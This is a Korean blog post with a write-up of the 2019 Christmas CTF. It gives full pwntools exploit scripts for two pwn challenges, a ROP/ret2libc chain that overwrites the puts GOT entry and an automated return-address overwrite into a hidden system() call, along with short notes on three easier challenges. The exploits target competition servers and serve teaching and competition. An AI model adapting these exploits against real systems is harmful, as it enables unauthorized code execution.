티스토리 뷰

카테고리 없음

[ Christmas CTF ] write-up

mhibio 2019. 12. 26. 15:43

[ Christmas CTF ] write-up

12월 25일에 한 크리스마스 CTF이다...

흑...


10등으로 마무리했다.

adultsccomp , Dynamic SQL, Dead file 은 나랑 팀원들이 거의다 풀었는데 점수를 못얻어서 아쉬웠다...

쨋든 나는 아침에 조금, 저녁에 조금밖에 못해서 쉬운거 몇개밖에 못풀었다..

  • Solo Test

  • Santa Game

  • auto injection

  • MIRO

  • Mic check

되게 쉬운것들 밖에 없다.... 수치..


Solo Test

퍼블 먹을 수 있었는데 다른 문제 더 쉬운거 있나 찾아보다가 놓쳤당...


summary

  • 질문몇개 물어본다 -> 통과하면 bof

  • ROP

  • "/bin/sh\x00"이 로되리안 걸려서 cat 으로 플래그 땃다.


exploit code

from pwn import *

p = remote("115.68.235.72", 1337)
#P = Process("./solo_test")
e = ELF("./solo_test")
l = e.libc

p.recvuntil(">> ")
p.sendline("Me")

p.recvuntil(">> ")
p.sendline("No")

p.recvuntil(">> ")
p.sendline("CTF")

p.recvuntil(">> ")
p.sendline("Never")
p.recvuntil(">> ")
p.sendline("No")

prdi = 0x0000000000400b83
prsi = 0x0000000000400b81

dummy = 0x58

puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
pay = '\x90' * 0x58
pay += p64(prdi)
pay += p64(e.got['read'])
pay += p64(prsi) + p64(0)*2
pay += p64(puts_plt)

pay += p64(prdi) + p64(0) + p64(prsi) + p64(e.bss()+0x100) + p64(0)
pay += p64(read_plt)

pay += p64(prdi) + p64(0) + p64(prsi) + p64(puts_got) + p64(0)
pay += p64(read_plt)

pay += p64(prdi)
pay += p64(e.bss()+0x100)
pay += p64(prsi) + p64(0) + p64(0)
pay += p64(puts_plt)

p.recv()
p.send(pay)

libc = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00')) - 0x10cf70
log.info(hex(libc))
log.info(hex(len(pay)))
p.send('cat /home/solo_test/flag')
sleep(0.5)
p.send(p64(libc+0x052fd0))

p.interactive()

flag : XMAS{y0u_kn0w...S010_f0rever!}


Santa Game

처음 본 문제


summary

ipport입력받고 거따가 플래그 쏴주는데

prob.py보면 localhost, 0.0.0.0, 127.0.0.1이 아니면 프로그램을 죽인다.

=>그냥 0.0.0.0이랑 문제 nc port입력하면 플래그 뜬다.



auto injection

간단한 rtl aeg였다... 정말 간단하고 익스도 5분만에 다 짰는데.. filtering이 걸려있어서 놓쳤다.. 슬프다...


summary

  • 입력받고, 입력받은값으로 system(입력) 해주는 hidden함수 존재

  • 하지만, 입력값 필터링

  • ret만 덮을 수 있는 취약 함수 존재 => hidden함수로 덮기

쨋든 인코딩 된 바이너리 디코딩 하고 objump로 무작위 dummy 값, hidden함수 주소 알아내고 hidden함수 호출까지 하면 거의다했~~~~기는 무슨 요상한 filtering이 존재한다.


filtering

bh?*cmvi 는 무조건 필터링 되고, 바이너리마다 10개에서 20개 가량 무작위로 printable 한것들을 뽑아서 추가로 필터링한다.

bh?*cmvi에 안걸리면, 브포할 시 플래그&쉘 을 얻을 수 있따

$SHELL 로 쉘 따도 계속 EOF터지길래 빡쳐서 ret만 덮을 수 있는 곳에서 pivot 하다가 로되리안 걸리고

(진짜 저거때매 개빡친다 ㅡ.ㅡ),

팀원 덕분에ls grep -r XMAS를 찾아서 사용했다.

home 디렉토리에서 ls하고 나오는 디렉토리, 파일속에 XMAS 문자열이 포함되어있는것들을 보여준다.


exploit code

from pwn import *
import base64

#context.log_level = 'debug'

p = remote('115.68.235.72', 5252)
r = process('/bin/sh')


s1 = p.recvuntil('=')

b1 = s1.encode("UTF-8")
d = base64.b64decode(b1)

f = open("binary", "w")

f.write(d)
f.close()

e = ELF('./binary')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']

prdi = 0x00000000004008f3
prsi = 0x00000000004008f1

bss = e.bss()+0x50

r.sendline('objdump -d binary')
r.recvuntil("vuln")
r.recvuntil('sub   $')

dummy = int(r.recvuntil(',')[:-1], 16) + 4

r.sendline('objdump -d binary')

hidden_addr = int('0x' + r.recvuntil(" <hidden>")[-17:-9], 16)

ret = dummy*"\x90"+p32(hidden_addr)
log.info('[ vuln dummy ] : ' + hex(dummy))
log.info('[ hidden addr ] : ' + hex(hidden_addr))
p.recvuntil("here : ")
dire = p.recvuntil("\n")[:-1]

p.recvuntil("gogo : ")
p.send(ret)

print dire
p.recvuntil("art!!")

p.sendline('ls | grep -r XMAS\x00')

print p.recv()
sleep(1)
print p.recv()
sleep(1)
print p.recv()
p.interactive()

flag : XMAS{4c7u4lly_Just_Luck_:p}


Miro

걍 마우스로 미로 통과하면된다.


Mic check

그냥 마이크 췤 이당.

....

진짜 더 열심히 할거다....

하....



댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/03   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
글 보관함